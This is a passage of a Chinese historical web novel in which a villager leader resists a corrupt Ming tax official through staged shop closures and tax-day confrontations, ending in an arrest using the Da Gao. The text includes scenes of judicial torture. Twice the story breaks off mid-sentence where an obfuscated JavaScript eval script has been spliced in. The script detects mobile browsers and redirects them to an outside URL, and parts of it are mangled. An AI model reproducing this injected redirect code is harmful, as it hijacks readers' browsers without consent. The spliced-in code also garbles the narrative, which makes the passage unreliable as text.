小人不敢隐瞒,此人是栖流所里挂单的花子,平日里还算规矩,想不到竟敢敲诈商户! 小人惭愧,现将此人交给官府,任凭大人依律处置。” 孙二爷把“依律”二字,说得格外清晰,秦强不由得皱起眉头。 秦强再看着那个中年花子,本来很强的信心忽然就动摇了一下。他转头看向刘度。 “刘度,你看仔细了,你说的花子,可是此人吗?” 刘度连连点头:“就是他,他平日得钱便罢,若得不着钱时,便十分强横。 撒泼打滚,对门撒尿,骚扰客人,让我十分苦恼。加上生意清淡,身体不适,便关门歇业了。” 秦强看向郭纲:“郭大人,这等凶蛮之人,只怕杖责是没用的,请把大刑拿来借我用用。” 郭纲答应着让衙役去拿,眼神却看向杨成。杨成若无其事,就像自己真的是清白的一样。 夹棍拿出来了,秦强看着中年花子,语气温柔而郑重。 “现在本官问你,是谁指使你**儿的?还是刘度在说谎,根本就是他自己不想开门营业? 你若实话实说,本官不但不罪,反而有赏。你若执迷不悟,本官就让你尝尝大刑的厉害!” 那中年叫花歪头看了孙二爷一眼,孙二爷给了他一个肯定的眼神儿。 “大人,我就是个叫花子,叫花子就得讨饭吃,天经地义。 他生意不好关我何事?生意不好就不施舍,难道让花子饿死?” 秦强加重了语气:“你休要扯谎,这么多商铺,难道一家不施舍,就把你饿**吗?” 中年花子呸了一声:“听说官府要加税,这么多商铺都说生意清淡,一起装起穷来! 我不能眼睁睁饿死吧,自然要放些狠话。可我也没**放火,能有多大罪?” 秦强怒极反笑:“好,好个强叫花。我知道花子中有你这一等人,最是刁蛮强横。 今天我倒要见识见识!来人,大刑伺候!” 第六十七章 大刑 人们都以为杨成会站出来激烈反对,毕竟大家心里也都知道,这事儿就是杨成鼓捣的。 可出乎所有人的意料,杨成什么也没说,就这么静静地站着,看着中年花子被套上了夹棍。 两个衙役的眼神在看着郭纲,其实在打刘度的时候,他们俩就已经用上了手段。 看似鲜血淋漓,皮开肉绽,其实只伤皮肉不伤骨头,而且也不会得棍头疮。 很多小说里都喜欢描写衙役们祖传的棍法,什么给钱打碎砖头不伤豆腐,不给钱打烂稻草不伤草纸。 却没有一个描写具体手法儿的,只是道可道,非常道,一味地强调神乎其神,很不科学。 今天以一个资深野史爱好者的身份,给大家科普一下这个知识,保证大家在网上是搜不到的。 这里的技巧,说白了也简单,其实全在手腕上,动作快而隐蔽,和变魔术类似。 普通的打法,要把人打得皮开肉绽,肯定是先瘀血,后出血,那是一定是会受内伤的。 但衙役们的棍子抡下来时,却可以往后拖一下。拖这一下的角度和速度,非常关键。 这一拖,就把棍子砸下来的竖劲大部分变成了横劲,相当于用棍子划过屁股。 只要速度够快,棍子就能撕开裤子,再撕开皮肉,瞬间就能皮开肉绽,鲜血淋漓。 但其实这是划出来的,不是砸出来的,受伤的只是表层皮肉,里面屁事儿没有。 而那种不破皮**的,则是用寸拳的原理,棍子的速度要足够快,在接触到皮肉的一瞬间立刻停止。 打过沙袋的都知道,如果你一拳下去,把沙袋打得飞起来,其实说明你的速度不够。 足够大的力量和速度,打在沙袋上,沙袋不会飞起来,而是会原地变形,受伤比飞起来重得多。 但这一招是能破解的,有经验的老罪囚,在被打板子时会偷偷撅起翘臀,等板子打上的一瞬间再贴地。 再打,再撅,只要速度够快,能达到现在健身房里练蜜桃臀的水平,就能化险为夷。 但夹棍这东西却做不了假,祖传衙役也没招,这东西就是个杠杆加配重,纯物理结构。 人半压上去,剧痛难忍,人全压上去,骨断筋折,纯是木头和骨头硬碰硬。 郭纲看着杨成,见杨成没有表示,便也不作声。 秦强怒喝一声:“还等什么?动刑!” 衙役压上去,那强叫花一声闷哼,额头上瞬间冒出豆大的汗珠,青筋暴起,手指紧抓地面。 “说,究竟是谁指使你的!” “我是叫花子,叫花子得吃饭!” “再压!” 强叫花就像一条被石头压住的蜈蚣,整个身子以一种不正常的倾斜角在空中扭曲着,就像迈克尔杰森的舞台效果一样。 他嘴里发出惨叫声,牙龈也因为咬得太紧渗出了血来,顺着嘴角滴在地上。 周围的商户见此惨状,个个面无人色。如果受刑的是他们,他们早就扛不住了。 一盆冷水,把强叫花泼醒,秦强的声音也带着疯狂。 “说,是谁指使你的,你要不说,我把你的腿夹断!” “我……是叫花子,叫花子……得吃饭,肚子指使我的。” “压!给我压!再上去两个人压!” 咔嚓一声,右腿先断了,单独受力的左腿独腿难支,紧接着也断了。 这两声咔嚓声在寂静的大堂上犹如两声炸雷一般,震得人头晕目眩。 秦强嘴唇哆嗦着,强撑着问道:“你,你还不肯说吗?” 强叫花抬起脸来,那上面的冷汗和冷水混合在一起,杂乱的头发贴在脸上,眼神愈发凶狠疯狂。 “我是叫花子!叫花子得吃饭!这腿废了也没用了,大老爷开开恩,帮我剁了吧!” 秦强虽然阴狠,毕竟是个读书人,他何曾见过这等把自己身体不当回事儿的强叫花? “秦大人,他强行乞讨,按大明律不过杖责。大人借口审案,动用大刑,已是过苛! 如今他两腿已断,成了废人。大人还要怎样?难道大人官威,比大明律法还大吗!” 杨成终于开口了,他的声音并不大,秦强却觉得耳边嗡嗡直响,血涌上头。 秦强彻底不装了:“我不和你废话,我也知道这事儿是你挑唆的,只是我没有证据。 我告诉你们,大明是皇上的天下,不是你们的!今天就得给我开门营业,谁敢不开,我就打谁!” 杨成诧异道:“大人下手如此狠辣,兴师动众,原来只是让商铺开门吗?” 秦强一愣:“不然呢?我当然是为了让商铺开门营业!” 杨成无奈地摇头:“这位老兄的腿断得当真是冤啊,我们都以为大人是要陷害谁,才如此狠辣呢。 商铺掌柜因为身体不适暂时关门,随时都可以恢复营业,难道他们有钱不赚,不吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401355|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗? 大人想要他们开门就直说啊!你不说他们怎么知道你想让他们开门呢?” 秦强只觉得血往上涌,声音都气得变调了:“分明是你们**歇业,本官若不如此,你们会开门吗?” 众商户赶紧表态,当然会。我们是商人,不开门难道等着饿死吗?这是连要饭花子都懂的道理呀! 杨成无奈地看着秦强:“大人,在你下此狠手之前,可曾派人通知过各商户开门吗?” 秦强愣住了。他确实没有,因为他知道通知了也没用,那些商户一定是杨成串通的。 可现在杨成这句话,他又无法回答。因为他连通知都没通知,就直接动手抓人了! 这就像舔狗暗恋女神,知道自己即使表白也没戏,所以直接用强,还没能得手。 结果被警察抓起来的时候,女神告诉他:“下次喜欢一个女孩子,一定要说出口哦。” 秦强强忍着被调戏的**,咬牙道:“所以,你们现在就能打开商铺,对吗?” 杨成点头:“当然可以。不过大人,郭纲大人在海盐主政数年,一向慎用刑罚,爱民如子。 可大人一来,这县衙就变成了刑堂一般。叫花子只是在一家店铺强行讨要,就被打断双腿。 刘度只因为关门歇业,就被打得皮开肉绽。如此随意,罚不当罪,我等草民难免心惊胆战。 真打开门做生意,谁知道哪天因为点什么小事儿惹恼了大人,会不会把我们抓来随意加刑?” 堂下众人纷纷点赞,表示确实如此,基本的安全都没有保障,谁敢开门儿做生意。 郭纲也忍不住面露笑意,这杨成果然是个人才,说话很好听。 而且你秦强确实过分了,仗着上头的势力,不把本官放在眼里,甚是可恶。 秦强知道杨成实在为难自己,但此时最要紧的是赶紧正常开市,所以他只能退让一步。 “本官承诺,只要商户们正常营业,本官在海盐期间,不会再越俎代庖,一切均由郭知县负责。” 杨成摇头道:“官字两个口,大人空口无凭,草民等难以尽信。” 秦强怒道:“本官一言九鼎!你……你待如何?” 杨成昂首道:“还请秦大人立字为据,将来万一大人要打要杀,我们也好有个说法。” 秦强大怒,正要开口,郭纲插嘴道:“是不是秦大人写了字据,你们就马上开市?” 第六十八章 字据 杨成朗声道:“正是如此,字据在手,立刻开门。我们虽命如草芥,但蝼蚁尚且贪生,谁敢跟官府作对呢?” 郭纲小声道:“秦大人,剩下的日子不多了,商税到现在也没收到多少,本官倒是无所谓,只怕对大人不利呀。” 秦强深吸一口气:“好,本官给你立个字据。来人,笔墨伺候!” 秦强把承诺写完,按了手印,他当然不会傻到盖官印的地步,这只是私下承诺而已。 杨成收起字据,冲各商户团团一揖:“各位,秦大人已经答应保障大家安全了。还请大家立刻开门吧!” 终于开市了,看着一家家拆板开门的商铺,秦强松了一口气。 商税的问题解决了,他就要盯着交给朝廷的税了,这里才是油水的大头儿。 “郭大人,怎么时间快过去一半儿了,还没有百姓来粮店卖粮呢?他们想**不成?” 郭纲狐疑道:“不能吧,他们不敢的。咱们不是给了百姓半个月的时间准备吗。 三天后才是正式交税的日子,也许他们正在搜集粮食猪鸡等,准备一起拉到城里卖的。” 秦强点点头:“夜长梦多,只有尽快把税收到县库中,才不会误了朝廷的大事。” 第二天,秦强找到郭纲:“昨天开市,收到多少商税?” 郭纲苦笑道:“不少,整整二十文钱。有个家里没了醋的在刘度的杂货铺买了一坛儿醋。” 秦强愣住了:“十文钱?整个海盐县城,就做了五十文的生意?” 郭纲点点头:“你上街看看就明白了。” 秦强一甩袍袖,冲出县衙,到了街上,顿时惊呆了。 每一家店铺都开着,掌柜的和伙计趴在柜台上下棋,街上行人也不少,但没有一个进门买东西的。 商税收两头,一进一出。进货时的税早就收过了,再收就只能是出货的。 可现在没有人买东西,自然也就没有税可收了。 秦强看着来来往往的行人,恨不得揪住他们的衣领喝问。 “你们**不买东西上街来干什么?纯逛吗?是闲的蛋疼吗?” 可他不能,他可以用手段强迫商户开业,可他没办法强迫百姓进铺子去买东西。 他终于明白了,昨天杨成在县衙闹得那么大,根本就不是为了争个输赢。 他是要告诉整个海盐的百姓,他是在带领大家对抗朝廷的加税,他不希望店铺有生意。 百姓们听懂了,他们现在除了必须用的油盐酱醋,什么都不买,他们在用行动表达对杨成的支持。 最让秦强愤怒的是,税吏在街上无所事事,一个铜钱都收不上来,却有人能收上来。 几个花子,从街头走到街尾,每家店铺都拿出些铜钱来,客气地交给他们。 “给丧彪带个话,让他放心,他的腿不会白断。海盐商户言而有信,保证他一辈子有肉吃,有酒喝。” 这就是本地的生态体系,他们宁肯把钱施舍给乞丐,也不愿意被秦强巧取豪夺。 秦强站在主街当中,正午的太阳从头顶上直射下来,照得他头晕脑胀,嗓子发咸。 “杨成!有你的!后天,后天就是正式收税的日子,你让我收不到商税,我就让你海盐百姓倾家荡产!” 当天晚上,吴礼给秦强送来了一个消息。 这几天他把兵丁们分布在了海盐各条道路上盘查,任何进出海盐境内的人都逃不过他的眼睛。 潘家的马车进过海盐城,车上带着两千两银子,说是要去杨家湾进货,想收税欢迎来搞。 吴礼没办法阻拦,商人带银子做生意是天经地义的事儿,他凭什么拦人家呢? 不过他的消息很有价值,秦强立刻让税吏到杨家湾去收税。 这等大宗交易,杨成若敢****,那他真是活腻了,秦强立刻可以把他抓起来。 可两个税吏打着酒嗝回来了,告诉秦强根本就没有交易,银子是杨成向潘亮借的,打了借条的。 随后路上盘查的兵丁也证实了税吏的话,潘亮是空车离开的,一粒糖霜也没拉走。 临走时还骂骂咧咧地说杨成不讲究,钱到收了说没货,只给打了个借条儿。 秦强脸上露出阴险的笑容:“两千两银子,杯水车薪而已,不过他已经走上不归路了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404515|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不是有名望吗?百姓没钱,自然要找他想办法。他要维持名望,就得打肿脸充胖子! 他一粒货都出不去,海盐城五万多人,一人一两银子,他就是倾家荡产也管不过来。 不患寡而患不均,人心就是这般无赖的。等这次税收完,杨成的声望也就完了。” 另一个消息无足轻重,吴礼只是随口对秦强说了一句。 “刘通的儿子回来了,看来玩儿的很美,神采飞扬的,也直接去了杨家湾。” 秦强警惕地问道:“车上也有银子吗?或是其他财物?” 吴礼摇头道:“什么也没有,空车,就是刘子业、杨牛和车夫三个人,仔细搜查过了。 那刘子业一脸的口红印,满身的脂粉味儿,还捧着本书装模作样的看。 说什么美女爱才郎,他要考上童生,考上秀才,以后出门就更出风头了。” 秦强皱眉道:“我倒是听说过这个刘子业,曾被白鹿山利用过,是个无知蠢货。 刘通这时候让他出去玩,大概也是让他出去避避风头,免得在城中惹祸之意。 只是他既然回来了,为何不回家,去杨家湾干什么?” 吴礼笑道:“这个我却知道,据说刘子业一直对寄住在他家的表妹秀儿有意。 这几天刘通把秀儿送到了杨家湾,说是帮他盘账,免得杨家湾占了他的便宜。 听说那秀儿也算个有本事的,当年刘通开杂货铺时,一应账目就都是她在帮着管的。 刘子业肯定是听说秀儿在杨家湾,所以家也不回,直接就赶过去了。” 秀儿确实在杨家湾,就住在杨成家中,和白寡妇一起住在上房里,丫鬟小燕儿跟着住。 为了秀儿的名声着想,杨成这几天一直住在工坊里,白天才回家。 秀儿确实是在盘账,但不是盘刘通和杨草之间的账,而是海盐各村庄百姓来抵押借银子的账。 各村族长带着地契或族人具保的借据来,带走了一包包沉甸甸的银子。 白寡妇则一直在秀儿耳朵边念叨:“这么多银子啊,都借出去了,将来他们还不起咋办啊?” 第六十九章 交税 白寡妇现在越来越不敢跟儿子唠叨了,虽然儿子一直很孝顺,总是顺着她说话。 可她总觉得有时面对儿子,就像当年面对公公时一样。 当年每当她给公公出主意,公公总是温和而无奈地看着她:“知道了,饿了,做饭去吧。”。 现在每当她给杨成出主意时,杨成看她的目光里,也经常会有这样的温和和无奈。 “娘啊,我饿了,你给我做饭吃吧。” 所以她就跟秀儿唠叨,秀儿可比杨家的男人强多了,温柔和顺,善解人意,聪明伶俐。 “秀儿啊,我拉扯成子这么多年,都没见过成锭的银子,都是靠卖鸡蛋攒几个铜钱儿。” 秀儿一边记账,一边温柔和顺地点头:“大娘辛苦了,您一个人这么难,却把成哥养得这样好。” “秀儿啊,我不是跟你表功说辛苦,我是觉得成子太不拿钱当回事儿了。 杨家湾的人借钱我不说啥,当年人家都帮过咱。可别的村人,谁借给过咱一两银子了?” 秀儿一边整理契约,一边温柔和顺地点头:“大娘记着族人的好,真是感恩之人,难怪成哥这么好。” “秀儿啊,你原本是举人家的小姐,不知道乡下生活的艰难。这白花花的银子,就这么往外借? 那些有地契的也就罢了,亏不了多少。那些族人作保的,都是些穷人,给不上钱,还真能喊打喊杀的不成?” 秀儿一边给杨成写着节略,一边温柔和顺地点头:“大娘心善,所以成哥也心善啊。” “秀儿啊,要不你劝劝成子吧。他将来还得娶七房媳妇呢,何况这钱还有很多是他借来的呢!” 秀儿收起纸笔,温柔和顺地点头:“大娘,我饿了,您给我做点吃的吧……” 此时另一边,刘子业坐车来到工坊,一下车就意气风发地大喊:“大哥,我把事儿都办妥了!” 杨成微笑看着他:“扇子都发出去了?” 刘子业连连点头:“发出去了,大哥,你不知道,现在那句诗可出名了,不光府城,连京城都传开了! 很多文人墨客都在试着对诗,还有好些姑娘想免费留我过夜,我怕误了大哥的事儿,都拒绝了。” 杨牛哼哼一声:“拉倒吧,要不是我和老车把你硬拉回来,你怕是早就成药渣了!” 刘子业毫不脸红,将手中拿着书递给杨成:“大哥,这是你要的,可真不好找! 书坊掌柜的说,虽然这书不贵,但礼部下过令,这书买回去不可损毁污染,否则就有罪! 谁家买本书,还得像祖宗一样地伺候着,自然没人肯买了,他们都不愿意摆出来,怕弄脏了。 我要买时,他还再三叮嘱我,若将来损毁污染了,万不可连累他,我花了一两银子才买到手的!” 杨成接过书来翻了翻,满意地点点头,亲切地拍了拍刘子业的肩膀。 “你回来得正好,虽然我也让王德福和潘亮去找这本书了,但早一天拿到手,我就能早一天动手!” 第二天一早,百姓们你挑着担,我牵着马,迎来日出,进城交税。 这是大日子,秦强和郭纲都穿戴整齐,到税仓前压阵。 税吏、捕快们全员到齐不说,吴礼也带着兵丁来到现场,随时准备压制闹事儿的百姓。 秦强已经知道昨天杨成跟潘家借了一车银子,他也猜到了杨成会借给百姓,以笼络人心。 但整个海盐县城有四五万人,乡下百姓至少有三万多人,这点银子洒洒水,根本不够用的。 明朝鼎盛时期,一个中等县城有十万人左右,但此时是洪武初年,战乱平息刚刚十多年,人口还不多。 百姓们开始交税了,一半儿粮一半儿银钱。 粮由税吏称量之后,平准入粮仓。银则由税吏鉴定成色分量后,放入银箱,入银仓。 秦强眼看一个税吏用大斗称完粮,只象征性地踢了一下,就要放粮入仓,顿时沉下了脸。 “郭知县,你还真是清正廉明啊,养的税吏这般悯农吗?” 郭纲脸色尴尬:“秦大人,平时收税肯定不是这样的,否则他们吃什么呀? 可人心都是肉长的,朝廷这次临时加税,百姓估计把家里粮仓刮得一粒米都不剩了。 他们再怎么心狠,这本乡本土的,也不敢太过分吧。何况你看看,这次来交粮的都是什么人啊。” 郭纲所言非虚,平时交税,都是粮长子侄带着村里人来,粮长大多年老体衰,很少全程跟随。 可今天,各族族长或拄着拐棍,或坐在粮车上,无一缺席,眼睛瞪得像铜铃,盯着收粮的税吏。 这也罢了,在一众族长的最前面,站着杨成,他站在银粮两伙税吏之间,左顾右盼。 税吏们都低着头,不敢和杨成的目光对视,动作确实也比平时轻柔了很多。 一切顺利,已经入仓了不少粮食,百姓也都拿着白花花的银子出来,竟然没有一个要卖粮换银子的! 秦强火了,他确实没想到杨成在海盐的影响力如此之大,否则无论如何,也得从户部带几个人下来。 这样下去不行啊!他还得从这些税粮税银中刮出三成来呢,否则这次无功而返,靠山饶不了他! 秦强不顾身份,亲自下场,来到收银台旁边,等着那个验银的税吏。 “这银子有一两?本官看着最多只有九钱吧!你这戥子准吗?” 负责收银台的税吏咽了口口水:“秦大人,这……这戥子是……是准的,大人可以验。” 秦强看着那戥子:“这戥子上灰都擦不下去了,麻麻赖赖的,是有多久没用过了,平时用的呢?” 那税吏心虚地看向郭纲,郭纲别过脸去不搭理他,他便硬着头皮继续否认。 “实在并没有其他的了,我们平时用的都是这个。” 秦强冷冷的看着他,自己走进银库里,翻腾起来。很快,他就从一堆杂物中翻出另一个戥子来 这戥子看着可就圆润多了,一看就是平时常用的,盘的油光锃亮,包浆感十足。 “有常用的不用,把这不准的旧物拿出来,你是什么居心,嗯?” 秦强恶狠狠地看着税吏,税吏不敢说话,只得拿起新戥子来,把那块银子放上去,果然是九钱。 交税的百姓顿时叫起屈来:“不能够啊,大人,不能够啊!我在家里称了又称,足足的一两啊!” 秦强冷笑道:“你看不见这戥子上打着官印的吗?官家的称准,还是你家里的称准? 我素知有那一等刁民,仗着本地人头熟络,偷税漏税,损公肥私,还不快补上税款!” 转过头来,又阴冷地对那税吏说道:“这一次就饶了你,再有下一次,哼哼,你想清楚自己是在给谁当差!” 第七十章 踢斗 税吏默然无语,秦强又走到收粮的一边,一把推开了正在用脚底板给粮斗做按摩的税吏。 飞起一脚,狠狠踢在了一个粮斗的黄金分割线上,粮斗猛然一晃,洒落到地上些许粮食。 再一脚下去,另一个粮斗上,原本已经用刮尺刮平的粮食也瞬间下沉了一层。 这淋斛踢斗,并非易事,若非平时勤学苦练,光靠蛮力是踢不出这样的效果的。 因为淋斛踢斗朝廷是有规矩的,一斗只许踢一脚,但凡敢踢第二脚,都算是违规。 秦强这一脚,不但展示了他娴熟的功底,也暴露了他当官之前的某些身份。 秦强冷笑道:“以为本官是好欺的?你也不想想户部那么多主事,为何把我派到海盐来! 你是没吃饭吗?朝廷养你们就是让你们来粮斗上蹭鞋底子的?把你的刮尺拿过来!” 收粮台的税吏将刮尺递过去,显然这也是个不常用的,笔直的尺身上蒙着一层暗沉之色。 “不是这把,平时用的呢,给我拿出来!” 税吏摇头:“我平时用的就是这一把,或许还有其他的,但我没用过。” 秦强再次走进粮仓,很快就拿出一把新的刮尺来,秦强举起来仔细看了看,点点头。 “就用这把,本官就在旁边看着,你若是再敢偷奸耍滑,本官就以渎职害公的罪治你!” 那税吏无奈,咬咬牙,抬起腿来刚要踢,杨成终于开口了。 “差大哥,腿长在你自己身上,干了这么多年,还用上官教导怎么踢吗? 你家祖辈都是海盐城吃这碗饭的,连你都踢不好,别人自然更踢不好。 至于秦大人,那是你能比的吗?秦大人若不满意,尽管踢就好了,我们受得住。” 那税吏狠狠一脚,看似用尽全力,但脚在碰到粮斗的瞬间暗暗收力,粮斗微微一晃,粮食并无变化。 秦强大怒,又是一脚下去,粮斗再次摇晃,洒下不少粮食,可他的脚心也传来一阵疼痛。 淋斛踢斗除了力量和技巧外,道具也很重要,那些税吏的鞋底都是加厚加硬的,秦强穿的却是官靴。 官靴讲究穿起来好看,走起来稳重,却不是用来干活儿的,这就跟鳄鱼皮鞋不适合当劳保一样。 看着排成长龙的交税队伍,秦强明白,就算自己不顾身份,站在这儿踢,用不了半个时辰,脚就废了。 秦强回头冲郭纲吼道:“郭知县,你养的好胥吏!把他给我抓起来,吴礼,让你的兵过来踢!” 郭纲叹了口气,让捕快将那不肯卖力踢斗的税吏先押到一边,吴礼的兵立刻补了上去。 这些兵丁都是外地人,对杨成没太多心理障碍,也不敢违反吴礼的军令,踢得倒是挺卖力的。 奈何术业有专攻,踢斗这事儿不是大力出奇迹的活,踢了半天,脚肿了好几个,效果却几乎没有。 秦强无奈,只能用刮尺一刮,粮斗上的粮食明显带着微微的隆起,不似之前那般平整。 “入仓!” “慢着!” 两声喊声几乎同时响起,人们愕然抬头,看看秦强,看看杨成。 秦强的眼睛危险地眯了起来:“杨成,阻挠官府收税,你活得不耐烦了?” 杨成拱手道:“秦大人,你这刮尺不对吧。我看着不直啊!” 秦强冷笑道:“杨成,本官念你年少无知,又是一族之长,屡次容让与你。 你却得寸进尺,不知尊卑,以下犯上,扰乱朝廷征税大事,来人啊!把他给我拿下!” 几个捕快面面相觑,看向郭纲,郭纲赶紧打圆场。 “杨成啊,你少说两句吧,秦大人,收税要紧,不要与他计较,有失身份啊。” 秦强等着杨成:“既然郭知县求情,本官给你一个机会,你若低头认错,本官就不再追究!” 杨成目光直视着秦强,语气中不但没有收敛,竟然还带着一丝挑衅。 “秦大人,你的刮尺不直啊。” 秦强大怒兼大喜!大怒是因为他自到海盐以来,实在是憋屈得不能再憋屈了。 大喜是因为他终于找到收拾杨成的理由了,杨成再牛,你敢这般公然顶撞官员,也是说不过去的。 “郭大人,你都听见了!你若再不让人动手,本官便让官兵动手,回头还要上书你渎职之罪!” 郭纲也惊呆了,他是有心维护杨成的,因为杨成现在也算是他的衣食父母,而且其他父母都听他的。 但他也不知道,杨成究竟是有了什么依仗,或是吃错了什么药,忽然之间变得如此强硬。 “杨成!你先退下!来人啊,把杨成拿下,带到县衙,本官稍后再审!” 几个捕快磨磨蹭蹭地走到杨成身边,小声道:“县尊也很为难,要么麻烦兄弟先去县衙歇歇吧。” 杨成不搭理他们,只是看着秦强,嘴角露出一丝微笑。 “秦大人,你借朝廷加税之际,私自增加损耗,妄加商税,逼迫百姓卖粮换银,从中渔利。 这也就罢了,你为了逼迫商贾开市,悍然动用大刑,打断轻罪乞丐双腿,以恐吓百姓。 今日收税,又强迫胥吏淋斛踢斗,胥吏不肯与你同流合污,你就抓捕胥吏,擅调官兵。 你不过户部一个六品主事,此番前来海盐,只是户部派来协助本地知县收税而已。 你既非钦差,有何权柄喝令知县,指挥胥吏?你既无军令,有何权柄调用官兵,封道盘查? 可你却屡屡妄言上意,仗势欺人,越俎代庖,上下其手,催逼胥吏,鱼肉百姓! 你分明是以朝廷公器为一己私用,不顾朝廷急难,不顾百姓死活,活生生一个城狐社鼠,贪官酷吏!” 寂静,死一般的寂静,所有人都像木头人一样,在杨成近乎咆哮的一二三里一动不动。 不知过了多久,被骂蒙了的秦强终于缓过神来,狞笑着抬手指着杨成。 “你是在骂我?你敢骂我?你要造反不成?来人哪,不,吴礼,立刻把他拿下,给我打,打,打!” 吴礼如梦方醒,举起手来刚要下令,杨成高高地举起了一本书。 “本朝洪武皇帝令:凡有贪官污吏,作奸犯科,鱼肉百姓,辜负朝廷者。 持此大诰,锁拿上京,交付有司,沿路官府驻军,一律不得拦阻,否则以同罪论处!” 第七十一章 大诰 大诰?没听说过啊?百姓们面面相觑,不知道啥时候有这个东西。 但秦强、郭纲、吴礼三人的脸色却立刻变了,因为他们是知道这个东西的。 可这东西刚刚才出来啊!皇上虽然下令让全国推广,可礼部想办法偷偷压制住了啊。 除了京城之外,其他各地府城书坊都未必有卖的,书坊掌柜的更是根本就不愿意卖啊。 杨成是怎么会知道有这东西的?他明明只是个小县城里的小山村里的小人物而已啊! 他们却不知道,杨成也是赌一把,他记得这个时候,大诰应该已经有了,但根本没推开。 真正推行开来,全国皆知,还得两三年之后。不过他又不是历史专业的,记不太清楚。 所以他让刘子业、王德福、潘亮三路人马,一边出去发扇子讲故事,一边打听这本书。 结果出乎意料,居然是刘子业最先带回来一本儿。杨成只翻了翻,就知道推行不开的原因了。 这书中有太多偏离大明律法的东西了,充满了朱元璋的个人情绪,并不是依法治国的态度。 而且这本书对官员阶层的杀伤力,远大于对普通百姓的,所以指望朝廷官员推广大诰,无异于与虎谋皮。 既然非刑过多,自然有很多不合传统儒家礼数的地方,那礼部自然会认为大诰非礼,不肯推广。 其次就是刑部,因为刑部断案要依大明律法,而大诰中很多都是皇上一怒之下想出来的脑洞刑罚。 不管皇上多解气,但不依法断案判刑,只会使刑部的工作难度变得更大,办差更混乱。 其他四部也不用说,就是下面的州府县,也绝不会有哪个官员吃饱了撑的,给自己脖子上套个上吊绳儿。 想来朱元璋此时主要心思在平定各地的军事行动上,虽然鼓捣出来了大诰,但并未注意到大诰的推广情况。 但官员阶层,却都知道大诰的存在,也知道杨成所言非虚,震惊之余,便是惊恐。 秦强脸色煞白,脑袋像炸开了一样,可他知道,自己决不能束手待毙。 他哆嗦着看向郭纲和吴礼:“你们,你们就任他蛊惑人心,激起民变吗?还不动手?” 杨成冷声道:“郭大人,你一向清正廉明,今日百姓奉旨为朝廷捉拿贪官。 你是要官官相护,抗旨不尊,还是忠于朝廷,为民除害,你自己要想清楚!” 郭纲煞白着脸不说话,他的脑子在飞速地旋转着,思维的小齿轮咔咔作响,几乎要转冒烟了。 吴礼却知道自己和秦强是一条绳上的蚂蚱,由不得自己临阵退缩,当即喝道。 “杨成,你休要妖言惑众!大诰虽是真的,但朝廷并非让你等刁民随意侮辱官员,对抗朝廷! 所有兵丁听令,杨成煽动百姓,抗税不交,妖言惑众,意图谋反,将杨成拿下!” 兵丁们并不傻,他们虽然没听说过大诰,但从三个官员的态度和神情上,已经知道事情不简单了。 可军令如山,他们又不敢违反军令,犹豫着拿起了兵器,互相看着,缓缓向杨成围了过来。 杨成大喝一声:“吴礼,你想抗旨造反吗?当今皇上圣明,百姓忠心拥护朝廷,容不得你这乱臣贼子! 海盐的百姓,随我捉拿贪官,进京面圣!让以后贪官污吏,不敢再祸害咱们海盐!” 随着杨成的呼喊,杨家湾跟来的两百青壮,掀开了铁匠牛车上盖着的粮袋子。 粮袋子下面,是一把把闪着寒光的长柄斧头,很快就人手一把,站在杨成身边。 其他村庄来送粮的虽然没有这么高端的武器,但人人手中都有铁锨、棍棒,也都操在手中。 一个守门的兵丁连滚带爬地跑过来,远远的大喊:“将军,不好了,不好了! 城外汇聚了上千百姓,手拿着铁锨锄头,高喊着奉旨进城捉拿贪官!” 吴礼面无人色,大喊快关城门,那兵丁哆嗦着点头:“关不上,他们把城门都堵住了!” 郭纲躲在捕头身后,大声喊道:“吴礼,冤有头债有主,他要抓的是秦强,你别犯糊涂! 真的激起民变,你那两百个兵够干什么的?你想死,我还不想跟着你死呢!” 吴礼看着百姓脸上的怒火,知道他们虽然喊的是抓贪官,其实是对朝廷加税的愤怒。 既然朝廷无法抗拒,怒火自然要找个替罪羊发泄,秦强是保不住了,自己不能再搭进去了。 吴礼赶紧大喊:“都住手,都住手,所有兵丁撤回来!杨成,你赶紧让人去城门,告诉他们不可入城! 更不能动手,一见了血,人就不是人了!快去!你要抓秦强,随你的便吧!” 杨成心里有数儿,城门外的上千人中,大多是杨家湾的人,这次行动,他并没有通知太多村庄。 只有和杨家湾最亲近的大白村和刘家湾是一起行动的,但也主要是在城外壮声势,不会进城。 杨成比吴礼更明白,民变这种事儿,就像在草原上点火种,点起来容易,想扑灭就难了。 越是平时老实本分的人,一旦凑到一起,见了血,会比专业杀人的士兵还疯狂。 士兵平时练两样东西,一个是杀人,另一个是服从命令。 杀人好学,那是人天性里的东西。服从命令难学,那是反人性的东西。 所以让一群没学过服从命令的人,释放杀人的天性,后果就是人间地狱。 杨成见吴礼已经被这前景吓住了,也松了口气,他虽然做了最坏的准备,但不到万不得已,是不想和官兵动手的。 抓贪官是一回事儿,和官兵厮杀是另一回事儿,真的打起来,死伤不说,将来也很难善后。 “杨草,带几个人去城门口,就说我说的,让他们不要进城!” 吩咐完后,杨成独自一人,拎着斧子朝秦强冲了过去。 兵丁和捕快们都散开来,让出了一条通道,秦强转身就跑,但他根本跑不过杨成。 秦强忽然停下脚步,一把从身边兵丁腰间抽出一把刀来,转头对着杨成一刀劈下,居然颇有力道。 